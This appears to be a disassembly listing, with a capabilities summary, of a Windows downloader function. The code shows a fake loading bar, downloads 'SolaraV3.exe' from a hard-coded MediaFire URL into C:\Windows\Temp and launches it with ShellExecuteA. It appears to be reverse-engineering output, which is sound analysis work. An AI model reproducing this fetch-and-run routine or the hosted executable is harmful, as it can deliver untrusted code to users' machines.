Function at 0x140001280
Capabilities:
Check if file exists
Create directory
Create process on windows
Download url
Get file attributes
Receive data
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 7], rax
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov qword [rbp - 0x29], 0xe
mov qword [rbp - 0x21], 0xf
movsd xmm0, qword [str.C:WindowsTemp]
movsd qword [rbp - 0x39], xmm0
mov eax, dword [0x1400044c8]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400044cc]
mov word [rbp - 0x2d], ax
mov byte [rbp - 0x2b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], r15
mov ecx, 0x20
call fcn.140002110
mov rdx, rax
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x49], 0x1b
mov qword [rbp - 0x41], 0x1f
movsd xmm0, qword [rbp - 0x39]
movsd qword [rax], xmm0
mov ecx, dword [rbp - 0x31]
mov dword [rax + 8], ecx
movzx ecx, word [rbp - 0x2d]
mov word [rax + 0xc], cx
movsd xmm0, qword [str.SolaraV3.exe]
movsd qword [rax + 0xe], xmm0
mov eax, dword [0x1400044d8]
mov dword [rdx + 0x16], eax
movzx eax, byte [0x1400044dc]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov ecx, 0xf0
call fcn.140002110
mov r8, rax
mov qword [rbp - 0x19], rax
movdqa xmm0, xmmword [0x140004790]
movdqu xmmword [rbp - 9], xmm0
lea rcx, str.https:__download1588.mediafire.com_h4wtdcebfjwgGvoHOetcaHhFNpFoq6elrhb0WQCHYNb8LtmjRjZl6EZPqlwgp0jXCzRomNyN6tSj3O7awgS9f_SYvvyAVVHo_HvUXMputU3wycJaeUtIoIWzVloEB_mS4rONlb7tzxc_VXJD9gOcOQSzUhh_r2r9jSUIZxMqSoZr4Q_r4dlidw0wvj8wnb_SolaraV3.exe
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rdx, [rax + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
movups xmm1, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm1
movups xmm0, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm0
mov rax, qword [rcx + 0x60]
mov qword [rdx + 0x60], rax
mov eax, dword [rcx + 0x68]
mov dword [rdx + 0x68], eax
movzx eax, word [rcx + 0x6c]
mov word [rdx + 0x6c], ax
mov byte [r8 + 0xee], r15b
lea rdx, str.Loading..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov r14d, r15d
mov esi, r15d
movabs r13, 0x7fffffffe2329aff
movabs r12, 0x7fffffffffffffff
movss xmm6, dword [0x140004770]
movsd xmm7, qword [0x140004768]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul esi
mov edi, edx
sar edi, 5
mov eax, edi
shr eax, 0x1f
add edi, eax
lea rdx, str.__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov ebx, r15d
nop dword [rax]
cmp ebx, edi
jge 0x1400014ad
lea rdx, [0x1400044a8]
jmp 0x1400014bd
lea rdx, [0x1400044ac]
je 0x1400014bd
lea rdx, [0x1400044b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
inc ebx
cmp ebx, 0x32
jl 0x1400014a0
movd xmm0, r14d
cvtdq2ps xmm0, xmm0
divss xmm0, xmm6
cvtps2pd xmm1, xmm0
mulsd xmm1, xmm7
cvttsd2si ebx, xmm1
lea rdx, [0x1400044b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x1400044b4]
call fcn.140001a90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
lea rcx, [rbp - 0x69]
call fcn.1400011a0
mov rax, qword [rbp - 0x69]
cmp rax, r13
jge 0x14000153f
add rax, 0x1dcd6500
mov qword [rbp - 0x61], rax
jmp 0x140001543
mov qword [rbp - 0x61], r12
lea rcx, [rbp - 0x61]
call fcn.140001de0
add r14d, 0xa
add esi, 0x1f4
cmp esi, 0x1388
jle 0x140001470
lea rdx, [0x140001da0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0xf
cmova rcx, qword [rbp - 0x39]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x1400015d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400015d8
lea rdx, str.______Failed_to_create_directory._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a90
mov dword [rbp - 0x61], 5
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x69]
call fcn.140001c70
mov rcx, rax
call fcn.140001c80
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str._____Directory_exists_or_created_successfully._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov qword [rbp - 0x69], 2
lea rcx, [rbp - 0x69]
call fcn.140001c80
lea rdx, str._____Checking_if_files_are_installed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov qword [rbp - 0x69], 2
lea rcx, [rbp - 0x69]
call fcn.140001c80
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001646
test al, 0x10
jne 0x140001646
lea rdx, str._____Solara_is_already_installed._n
jmp 0x1400016a7
lea rdx, str.______Solara_not_found._Downloading..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov qword [rbp - 0x69], 5
lea rcx, [rbp - 0x69]
call fcn.140001c80
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova r8, qword [rbp - 0x59]
lea rdx, [rbp - 0x19]
cmp qword [rbp - 1], 0xf
cmova rdx, qword [rbp - 0x19]
mov qword [rsp + 0x20], r15
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
js 0x14000194d
lea rdx, str._____Download_necessary._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov qword [rbp - 0x69], 2
lea rcx, [rbp - 0x69]
call fcn.140001c80
lea rdx, str._____Checking_if_files_were_downloaded_successfully_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
lea rcx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001912
test al, 0x10
jne 0x140001912
lea rdx, str._____Solara_downloaded_successfully._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
mov qword [rbp - 0x69], 2
lea rcx, [rbp - 0x69]
call fcn.140001c80
lea rdx, str._____Launching_files_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova r8, qword [rbp - 0x59]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x1400017c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.______Failed_to_launch
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a90
mov rcx, rax
lea rdx, [rbp - 0x59]
call fcn.140001d80
mov rcx, rax
lea rdx, str.._Error_code:
call fcn.140001a90
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000442c]
call fcn.140001a90
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str._____Launching
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001a90
lea rdx, [rbp - 0x59]
cmp qword [rbp - 0x41], 0xf
cmova rdx, qword [rbp - 0x59]
mov r8, qword [rbp - 0x49]
mov rcx, rax
call fcn.140001f20
lea rdx, [0x14000442c]
mov rcx, rax
call fcn.140001a90
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x14000183c
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001837
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001837
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000214c
movdqa xmm0, xmmword [0x140004780]
movdqu xmmword [rbp - 9], xmm0
mov byte [rbp - 0x19], 0
mov rdx, qword [rbp - 0x41]
cmp rdx, 0xf
jbe 0x14000188b
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001886
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001886
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000214c
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0xf
jbe 0x1400018d9
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000214c
xor eax, eax
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.1400020f0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, str.______Solara_was_not_downloaded_successfully._Exiting._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a90
mov dword [rbp - 0x61], 4
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x69]
call fcn.140001c70
mov rcx, rax
call fcn.140001c80
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.______Failed_to_download_the_file._HRESULT:_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001a90
mov rcx, rax
lea rdx, [0x140001180]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14000442c]
call fcn.140001a90
mov dword [rbp - 0x61], 2
lea rdx, [rbp - 0x61]
lea rcx, [rbp - 0x69]
call fcn.140001c70
mov rcx, rax
call fcn.140001c80
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3